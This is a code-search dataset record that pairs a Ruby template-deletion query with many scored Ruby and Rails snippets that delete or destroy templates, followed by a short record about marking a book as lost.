[ { "docid": "4e58785f994360d27026e189b9d5ba76", "score": "0.0", "text": "def service_boards_id_auto_templates_auto_template_id_delete(id, auto_template_id, opts = {})\n service_boards_id_auto_templates_auto_template_id_delete_with_http_info(id, auto_template_id, opts)\n return nil\n end", "title": "" } ]
[ { "docid": "a70e91b619d62d2de9f549db00db544c", "score": "0.7963437", "text": "def delete_content_template(id)\n # TODO: Inform ContentTemplateController.destroy method has been modified\n @client.raw('delete', \"/content/templates/#{id}\")\n end", "title": "" }, { "docid": "354bf276afd9aa364dd50dcb92b29d9f", "score": "0.7899399", "text": "def delete(id)\n @client.call(method: :delete, path: \"templates/#{id}\")\n end", "title": "" }, { "docid": "6332ce815b0586bb31c8e846e4a7f56d", "score": "0.7857886", "text": "def delete_template( id )\n\t\t# for each template\n\t\[email protected] do |key, template|\n\t\t\t# make sure the Template is removed from the part map\n\t\t\ttemplate.part_map.delete( id )\n\t\tend\n\t\t\n\t\t# remove Template from main Hash\n\t\[email protected]( id )\n\n\tend", "title": "" }, { "docid": "ff46959abbc820333b5de1613b1b0bec", "score": "0.7748862", "text": "def delete_template(opts)\n post(\"/template/delete/#{opts[:template_id]}\")\n end", "title": "" }, { "docid": "64a2b37aa2087cb6ba46a810559d9e1d", "score": "0.77485555", "text": "def delete(options={})\n DNSimple::Client.delete \"templates/#{id}\", options\n end", "title": "" }, { "docid": "594b4eaa91e5b5df6a0e404aec0558bb", "score": "0.7695097", "text": "def delete\n response = CreateSend.delete \"/templates/#{template_id}.json\", {}\n end", "title": "" }, { "docid": "df01d62c3332c433623f4e862fee4363", "score": "0.74929756", "text": "def delete\n super \"/templates/#{template_id}.json\", {}\n end", "title": "" }, { "docid": "9f11945fada99dfb53610f71410c5a52", "score": "0.7489868", "text": "def delete(options={})\n DNSimple::Client.delete(\"/v1/templates/#{id}\", options)\n end", "title": "" }, { "docid": "0a99fcd3d2701c873eb81dcc6c6dcd49", "score": "0.74025637", "text": "def delete_message_template(id)\n @client.raw('delete', \"/content/message-templates/#{id}\")\n end", "title": "" }, { "docid": "5a7530330d32f08443a87d6c91e38532", "score": "0.7397205", "text": "def destroy\n @template.destroy\n end", "title": "" }, { "docid": "b3466d899f9aa0a77c183021bbf6cf7e", "score": "0.73818535", "text": "def delete_scan_template(id)\n AJAX.delete(self, \"/data/scan/templates/#{URI.encode(id)}\")\n end", "title": "" }, { "docid": "a0eb0ffbe636ee78cd610d52a1258e24", "score": "0.73800075", "text": "def test_delete_template\n create_template(\"Test Template\")\n template_id = find_last_template_id\n\n @db.delete_template(template_id)\n\n template = find_template(template_id)\n assert_nil(template)\n end", "title": "" }, { "docid": "c11eed0aa1a8fea7b79ee2c0cb9adb6b", "score": "0.7352042", "text": "def delete(data)\n result = @client.api_request(:method => \"template.delete\", :params => [:templateid => data])\n result.empty? ? nil : result['templateids'][0].to_i\n end", "title": "" }, { "docid": "01109a3d00c055639725a1f3c04fa637", "score": "0.7310845", "text": "def delete(data)\n result = @client.api_request(:method => \"template.delete\", :params => [data])\n result.empty? ? nil : result['templateids'][0].to_i\n end", "title": "" }, { "docid": "95f822823c22dde6e21a51598f9dd704", "score": "0.7216845", "text": "def destroy\n @_template = @site.templates.find(params[:id])\n @_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_site_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "57b15eb91e87868e0f6a77ea5252aaca", "score": "0.71963555", "text": "def delete_course_template(org_unit_id)\n path = \"/d2l/api/lp/#{$lp_ver}/coursetemplates/#{org_unit_id}\"\n _delete(path)\n puts '[+] Course template data deleted successfully'.green\nend", "title": "" }, { "docid": "eaf1876c46d14db5ba82fd25f12b77ee", "score": "0.71785676", "text": "def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5b72fc05f5f4f2d106836147c8475036", "score": "0.7157994", "text": "def destroy\n destroy_resource @template, templates_url, t('templates.delete_success')\n end", "title": "" }, { "docid": "34810817c994457c2beb11f6a724ff07", "score": "0.71421623", "text": "def destroy\n mytemplate = Mytemplate.get(params[:id])\n close_document(mytemplate)\n \n begin\n if mytemplate != nil\n if File.exist?(mytemplate.path) \n FileUtils.rm_rf mytemplate.path\n end\n \n if File.exist?(mytemplate.file_path+mytemplate.id.to_s) \n FileUtils.rm_rf mytemplate.file_path+mytemplate.id.to_s\n end\n\n end\n rescue\n puts_message \"Error! in progress of mytemplate file deletion.\"\n end\n\n mytemplate.destroy\n \n respond_to do |format|\n format.html { redirect_to(mytemplates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8845e90811052e64231c5556e7582401", "score": "0.70955795", "text": "def destroy\n @admin_template = Template.find(params[:id])\n @admin_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6969bacee0359e564a5323f1bad0d2ec", "score": "0.70500076", "text": "def destroy\n @custom_template.destroy\n redirect_to custom_templates_url\n end", "title": "" }, { "docid": "a8202e26346783f59d664bc446b3e69b", "score": "0.70214057", "text": "def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to(templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9fc3aa0a0f8a8f76bc37d9cf75c19ee6", "score": "0.70112187", "text": "def destroy\n @template = Template.find(params[:id])\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "82ad30803f6cfbc185471186a0ae0fa3", "score": "0.7003358", "text": "def destroy\n current_site.grid_templates.find(params[:id]).destroy\n index\n end", "title": "" }, { "docid": "c320b49e1a35cbfa39dec0c8f361e811", "score": "0.69835645", "text": "def destroy\n @mailee_template = Mailee::Template.find(params[:id])\n @mailee_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(mailee_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "164f7ca97fb0a549a5dae9396df1a27c", "score": "0.6972676", "text": "def destroy\n @content_template = ContentTemplate.find(params[:id])\n @content_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_content_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "840bd17c9570634f9e14a075ce11d9d4", "score": "0.69633096", "text": "def destroy\n @invoice_template = InvoiceTemplate.find(params[:id])\n @invoice_template.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "79daebbae49b5b2105540c370acaad0f", "score": "0.69620407", "text": "def destroy\n @correspondence_template = CorrespondenceTemplate.find(params[:id])\n @correspondence_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondence_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7e90aff2c1b725e94e8463009a679c80", "score": "0.6940723", "text": "def delete(name)\n r = request('DeleteTemplate', { :name => name })\n return r['status'] == ' ok ' \n end", "title": "" }, { "docid": "1ebef9718b60b25c07ecfa1dae44ade1", "score": "0.6930629", "text": "def delete(tmpl_id, opts = {})\n data, _status_code, _headers = template_delete_with_http_info(tmpl_id, opts)\n data\n end", "title": "" }, { "docid": "a73afb27dbf4a8e78daee517ff812bda", "score": "0.68624836", "text": "def destroy\n @goaltemplate = Goaltemplate.find(params[:id])\n @goaltemplate.destroy\n\n respond_to do |format|\n format.html { redirect_to(goaltemplates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7fb35a919fdb32fb6c826f95af86dd0d", "score": "0.6860325", "text": "def destroy\n @purchase_template = PurchaseTemplate.find(params[:id])\n @purchase_template.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "10282cbb39f8c2d25ec0f539422a5e8d", "score": "0.68314254", "text": "def destroy\n @coach_template = CoachTemplate.find(params[:id])\n @coach_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(coach_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f80435ccee75f68854456f335213d67b", "score": "0.6816888", "text": "def destroy\n @admin_kpi_template = Admin::KpiTemplate.find(params[:id])\n @admin_kpi_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "be9469401e095a83177390f8c78b1535", "score": "0.6810437", "text": "def destroy\n @docu_template.destroy\n respond_to do |format|\n format.html { redirect_to docu_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc37733314c0d77dc5a725586cb58ed7", "score": "0.6808159", "text": "def destroy\n destroy_resource @argument, edit_template_url(@template), t('template_arguments.delete_success')\n end", "title": "" }, { "docid": "2e5956ae1b7c70dc91a255fc2faef5d5", "score": "0.6805206", "text": "def destroy\n @newsletters_template = Newsletters::Template.find(params[:id])\n @newsletters_template.destroy\n\n respond_to do |format|\n format.html { redirect_to newsletters_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "075201c3e5b63226ee3eca9ad8cd746e", "score": "0.68007547", "text": "def delete_report_template(template_id)\n AJAX.delete(self, \"/data/report/templates/#{URI.escape(template_id)}\")\n end", "title": "" }, { "docid": "b0c2f7f5ed0fdac37926fe4fea3a66aa", "score": "0.679491", "text": "def destroy\n @user_template = UserTemplate.find(params[:id])\n @user_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_templates_url) }\n format.xml { head :ok }\n end\n add_audit_trail(:details => \"Deleted a template with alias: #{@user_template.alias}\")\n end", "title": "" }, { "docid": "8eee4e95180093e4fdfa0dc767e05e6c", "score": "0.6792625", "text": "def destroy\n @question_template = QuestionTemplate.find(params[:id])\n @question_template.destroy\n\n respond_to do |format|\n format.html { redirect_to question_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "346b767f66e971d235a1229d89c9bca2", "score": "0.6770588", "text": "def destroy\n @quest_template = QuestTemplate.find(params[:id])\n \n begin\n @quest_template.quest_giver.destroy\n @quest_template.quest_involver.destroy\n rescue Exception => e\n end\n @quest_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(quest_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "01878a56ba3b149c44194bb340ecb3f8", "score": "0.67502695", "text": "def destroy\n @project_template = ProjectTemplate.find(params[:id])\n @project_template.destroy\n\n respond_to do |format|\n format.html { redirect_to project_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2a42f4c29adafdda08ba3989c6637d02", "score": "0.67468953", "text": "def destroy\n @bulk_message_template = BulkMessageTemplate.find(params[:id])\n @bulk_message_template.destroy\n\n respond_to do |format|\n format.html { redirect_to bulk_message_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0f25f6ab60383e7733a0f75ae749e6bf", "score": "0.67356426", "text": "def destroy\n @view_template = ViewTemplate.find(params[:id])\n @view_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(view_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c3eb3cb99f3e1b262122a0a830fb8fd2", "score": "0.6734852", "text": "def destroy\n @nagios_service_escalation_template = NagiosServiceEscalationTemplate.find(params[:id])\n @nagios_service_escalation_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(nagios_service_escalation_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c79fb011e86c72b8ea388cb971b8a25a", "score": "0.6726264", "text": "def destroy\n if params[:user_id]\n @templates = Template.find_all_by_user_id(params[:user_id])\n @templates.each do |template|\n template.destroy\n end\n else\n @template = Template.find(params[:id])\n @template.destroy\n end\n respond_to do |format|\n format.html { redirect_to(store_my_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "714022bba470ba018be8d3e2f1622249", "score": "0.6723211", "text": "def destroy\n @discount_template = DiscountTemplate.find(params[:id])\n @discount_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(discount_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "da90b07aba947b3a997f1944cb327264", "score": "0.6711055", "text": "def delete\n item = FormTemplate.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end", "title": "" }, { "docid": "54cfbfcfa96bb42ef8e0f048b37d1e96", "score": "0.67036784", "text": "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7f95252da9c72f858b1d69844d73d4e9", "score": "0.6696973", "text": "def destroy\n if @template.destroy\n respond_ok \"template\", @template\n else\n respond_err \"template\", @template, @template.errors\n end\n end", "title": "" }, { "docid": "794eb03d9ca749084573deb418368dd9", "score": "0.6690074", "text": "def destroy\n @template_task = TemplateTask.find(params[:id])\n @template_task.destroy\n\n respond_to do |format|\n format.html { redirect_to template_tasks_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "09abbac79dc59821662ff797240e2d5a", "score": "0.66653126", "text": "def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "09abbac79dc59821662ff797240e2d5a", "score": "0.66653126", "text": "def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to email_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "135421999691846f238b8bf40135bc57", "score": "0.6663224", "text": "def destroy\n @template_field = TemplateField.find(params[:id])\n @template_field.destroy\n\n respond_to do |format|\n format.html { redirect_to(template_fields_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5ac5cdaf30c4dc270cd3d1e9dc978200", "score": "0.6631864", "text": "def remove(name)\n template = find(name)\n shell.rm_rf(template.path) if template\n end", "title": "" }, { "docid": "8c102618d9458ad769be450e6c18f238", "score": "0.66256225", "text": "def destroy\n @page_template = PageTemplate.find(params[:id])\n @page_template.destroy\n\n respond_to do |format|\n format.html { redirect_to page_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e22da7bbbf2c78b64485d8e1196753b6", "score": "0.66242766", "text": "def destroy\n @crawler_template = CrawlerTemplate.find(params[:id])\n @crawler_template.destroy\n\n respond_to do |format|\n format.html { redirect_to crawler_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d38d5fabf6b6621de95ac2b7e82c2b7c", "score": "0.6620647", "text": "def destroy\n @exercise_template.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "0a803f9c1d40056efd5dee6ddb9e5e97", "score": "0.66114056", "text": "def destroy\n @contract_template = ContractTemplate.find(params[:id])\n @contract_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(contract_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "848480b03a9807ba1b0e655926783938", "score": "0.6608317", "text": "def destroy\n @deposit_template = current_user.family.deposit_templates.find(params[:id])\n @deposit_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(deposit_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2fd98450373fc8cecb2769f984986844", "score": "0.66018724", "text": "def destroy\n @inventory_template = InventoryTemplate.find(params[:id])\n @inventory_template.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f3f249287307d7dffd668d15040e77ad", "score": "0.65797365", "text": "def destroy\n phase = Phase.includes(:template).find(params[:id])\n authorize phase\n begin\n phase = get_modifiable(phase)\n template = phase.template\n if phase.destroy!\n flash.now[:notice] = success_message(phase, _('deleted'))\n else\n flash.now[:alert] = failure_message(phase, _('delete'))\n end\n rescue StandardError => e\n msg = _('Unable to create a new version of this template.')\n flash.now[:alert] = \"#{msg}<br>#{e.message}\"\n end\n\n if flash[:alert].present?\n redirect_to org_admin_template_phase_path(template.id, phase.id)\n else\n redirect_to edit_org_admin_template_path(template)\n end\n end", "title": "" }, { "docid": "e4db37d423953292b34c556375db45a8", "score": "0.65776914", "text": "def template_delete_with_http_info(tmpl_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TemplatesApi.template_delete ...'\n end\n # verify the required parameter 'tmpl_id' is set\n if @api_client.config.client_side_validation && tmpl_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tmpl_id' when calling TemplatesApi.template_delete\"\n end\n pattern = Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n if @api_client.config.client_side_validation && tmpl_id !~ pattern\n fail ArgumentError, \"invalid value for 'tmpl_id' when calling TemplatesApi.template_delete, must conform to the pattern #{pattern}.\"\n end\n\n # resource path\n local_var_path = '/templates/{tmpl_id}'.sub('{' + 'tmpl_id' + '}', CGI.escape(tmpl_id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'TemplateDeletion'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['basicAuth']\n\n new_options = opts.merge(\n :operation => :\"TemplatesApi.template_delete\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TemplatesApi#template_delete\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "2fc41419c17f673e798548264c2f408b", "score": "0.6574877", "text": "def delete(nsc)\n nsc.delete_scan_template(id)\n end", "title": "" }, { "docid": "c5f0cd4ea6705286d8533289ee79a59c", "score": "0.6559053", "text": "def destroy\n @score_template = ScoreTemplate.find(params[:id])\n @score_template.destroy\n\n respond_to do |format|\n format.html { redirect_to score_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9c9430b014d2c727a596bff0033a9509", "score": "0.6556455", "text": "def destroy\n @module_template = ModuleTemplate.find(params[:id])\n @module_template.destroy\n\n respond_to do |format|\n format.html { redirect_to module_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6d0507f8a9e029fa3d76dd2b8c084ecb", "score": "0.6549134", "text": "def destroy\n @gift_template = GiftTemplate.find(params[:id])\n @gift_template.destroy\n\n respond_to do |format|\n format.html { redirect_to gift_templates_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2f67280c4d6fb63621398373e4b9a69e", "score": "0.6547993", "text": "def destroy\n @template = set_template\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9671118bbe08b8e67e825905bba1e477", "score": "0.6533193", "text": "def destroy\n template = Template.find(params[:id])\n authorize template\n versions = Template.includes(:plans).where(family_id: template.family_id)\n if versions.reject { |t| t.plans.empty? }.empty?\n versions.each do |version|\n if version.destroy!\n flash.now[:notice] = success_message(template, _('removed'))\n else\n flash.now[:alert] = failure_message(template, _('remove'))\n end\n end\n else\n flash.now[:alert] = _(\"You cannot delete a #{template_type(template)} that has been used to create plans.\")\n end\n if request.referer.present?\n redirect_to request.referer\n else\n redirect_to org_admin_templates_path\n end\n end", "title": "" }, { "docid": "4df34166275bd216813ec3ec423bd2cd", "score": "0.65320843", "text": "def destroy\n @layout_template = LayoutTemplate.find(params[:id])\n @layout_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(layout_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "687508d8a5a682141a50d4d15d1cca35", "score": "0.65300673", "text": "def destroy\n @region = RegionTemplate.find(params[:id])\n @region.destroy\n\n respond_to do |format|\n format.html { redirect_to(region_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "2dcafcd60b93d3bda279bd3e1f45e88a", "score": "0.651808", "text": "def destroy\n @script_template.destroy\n\n respond_to do |format|\n format.html { redirect_to script_templates_url, notice: \"Script template was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4db52f400fcb59a73625ccc9dab1cfec", "score": "0.65162665", "text": "def test_delete_test_from_templates\n create_template(\"Test Template\")\n template_id = find_last_template_id\n create_test(template_id)\n test_id = find_last_test_id\n\n @db.delete_test_from_templates(test_id)\n\n refute_equal(test_id, find_last_test_id)\n\n delete_template(template_id)\n end", "title": "" }, { "docid": "d5ba245b969f5467b2558d33aff56178", "score": "0.65154135", "text": "def delete_question_template\n if @question_template.destroy\n flash[:success] = success_message(@question_template, :delete)\n else\n flash[:error] = error_message(@question_template, :delete)\n end\n\n redirect_to survey_template_path(@survey_template)\n end", "title": "" }, { "docid": "be336847f70b8c0b9e3ead0f5efcb19c", "score": "0.6515276", "text": "def destroy\n @cf_template.destroy\n respond_to do |format|\n format.html { redirect_to cf_templates_url, notice: I18n.t('cf_templates.msg.deleted') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7bfb5010d865f42b46ae4e980c378dd9", "score": "0.6513672", "text": "def destroy\n @logistic_order_template.destroy\n end", "title": "" }, { "docid": "d6e59dde42f73e4b1cabefb6122f40c2", "score": "0.65072", "text": "def destroy\n @admin_kpi_category_template = Admin::KpiCategoryTemplate.find(params[:id])\n @admin_kpi_category_template.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_kpi_category_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f10e3d0761b5349fca83120d27e1d497", "score": "0.6494364", "text": "def destroy\n @email_template = EmailTemplate.find(params[:id])\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(email_templates_url(:farm_id => @farm.id)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0b35a0cca44db77cb0231e12182bd284", "score": "0.6491205", "text": "def destroy\n @template.destroy\n\n respond_to do |format|\n format.html { redirect_to dashboard_path, notice: t('template_destroyed') }\n end\n\n end", "title": "" }, { "docid": "fb859abcaf05e5b5958cd58fd2ae162c", "score": "0.6487002", "text": "def destroy\n @induction_template.destroy\n respond_to do |format|\n format.html { redirect_to induction_templates_url, notice: 'Induction template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5e1fe80fd61e64ceb1e855f8189f964a", "score": "0.6483294", "text": "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n end\n end", "title": "" }, { "docid": "fd8be26b7fad36d4f16e0d081509c876", "score": "0.648256", "text": "def destroy\n @item = ItemTemplate.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "def342297138eca7822f97be7040f3de", "score": "0.6476049", "text": "def destroy\n current_user.templates.delete(@template)\n # Remove from integrations\n @template.integrations.each do |integration|\n integration.templates.delete(@template)\n\n # check if integrations has agents, remove if all empty\n if integration.agents.empty?\n current_user.integrations.delete(integration)\n integration.destroy\n end\n end\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "af6d73ea50b435d718dcd390e0df0ddc", "score": "0.6474122", "text": "def delete_testimonial\n Testimonial.destroy(params[:id])\n render :update do |page|\n page.remove \"testimonial_#{params[:id]}\"\n end\n end", "title": "" }, { "docid": "45389d27333e7482806e2ce98aac3c1b", "score": "0.6460311", "text": "def destroy\n @item_template.destroy\n respond_to do |format|\n format.html { redirect_to item_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9875f0b4413dfd348bb4973cc1813929", "score": "0.64563614", "text": "def destroy\n authorize! :manage, :all\n @question_template.destroy\n respond_to do |format|\n format.html { redirect_to question_templates_url, notice: 'Question template was successfully removed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2528179ed3a9ff00d5dcc74c32f2a1fa", "score": "0.64514774", "text": "def destroy\n @rcadmin_email_template.destroy\n respond_to do |format|\n\t flash[:notice] = 'Email template was successfully deleted.'\n format.html { redirect_to rcadmin_email_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b75fb35f46ffc2709b304bee5d002bec", "score": "0.64478517", "text": "def destroy\n @collage_template = CollageTemplate.find(params[:id])\n @collage_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(collage_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "759a5f81c4f8fb15f1bae96d793439e9", "score": "0.64440876", "text": "def destroy\n @node_template = NodeTemplate.find(params[:id])\n @node_template.destroy\n\n respond_to do |format|\n format.html { redirect_to node_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dd654978dd3bb4495c6fc8ce3f71a8e0", "score": "0.6437065", "text": "def destroy\n @email_template = EmailTemplate.find(params[:id])\n name = @email_template.name\n @email_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(new_email_template_url(:name => name)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e9ce1deafc669a616134f4c9a3f21ff0", "score": "0.6416042", "text": "def destroy\n @doc_template.destroy\n respond_to do |format|\n format.html { redirect_to doc_templates_url, notice: 'Doc template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "254b0414ea5040629f43909fca0582ff", "score": "0.64107406", "text": "def destroy\n @show_template.destroy\n respond_to do |format|\n format.html { redirect_back_to show_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7c04008633341b86dbf4250e94c05b6a", "score": "0.6409531", "text": "def destroy\n @card_template = CardTemplate.find(params[:id])\n @card_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(card_templates_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b1792cc6d41c2b7182779a92aec2cbe2", "score": "0.6400841", "text": "def destroy\n audit(@service_template, \"destroy\", @service_template.name)\n authorize @service_template\n\n @service_template.destroy\n respond_to do |format|\n format.html { redirect_to service_templates_url, notice: 'Service template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3bbd57e993fa82a264ca23a399a0295", "score": "0.63976365", "text": "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3bbd57e993fa82a264ca23a399a0295", "score": "0.63976365", "text": "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e3bbd57e993fa82a264ca23a399a0295", "score": "0.63976365", "text": "def destroy\n @template.destroy\n respond_to do |format|\n format.html { redirect_to templates_url, notice: 'Template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9d53dfc08f854fd5fb51202541236efc", "score": "0.6392328", "text": "def destroy\n @template = CustomTemplate.find(params[:id])\n\t @template_studies = StudyTemplate.where(:template_id => @template.id).all\n\t for ts in @template_studies\n\t \tts.destroy\n\t end\n\t\t@template_columns = OutcomeColumn.where(:template_id => @template.id).all\n\t\tfor tc in @template_columns\n\t\t\ttc.destroy\n\t\tend\n @template.destroy\n\n respond_to do |format|\n format.html { \n\t\t\t\tunless params[:from] == 'home'\t\n \t\trender :update do |page|\n\t\t\t\t\t\tpage.reload\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tredirect_to root_url\n\t\t\t\tend\n\t \t}\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "aba500b44c6eab0224508abb89a284c3", "score": "0.63726383", "text": "def destroy\n @image_position_template = ImagePositionTemplate.find(params[:id])\n @image_position_template.destroy\n\n respond_to do |format|\n format.html { redirect_to image_position_templates_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "90f7ab25f5195b8f16427eb6eb1d8331", "score": "0.63685465", "text": "def destroy\n @my_template.destroy\n respond_to do |format|\n format.html { redirect_to my_templates_url, notice: 'My template was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.6366167", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" } ]
656f6d62dc3135072cec7b3df299cc3e
Change book status to "lost" if assigned lost status.
[ { "docid": "40961df9812b61bddd53d22a9cfbed39", "score": "0.8499328", "text": "def is_lost\r\n\t\tbook.status = 'Lost'\r\n\tend", "title": "" } ]
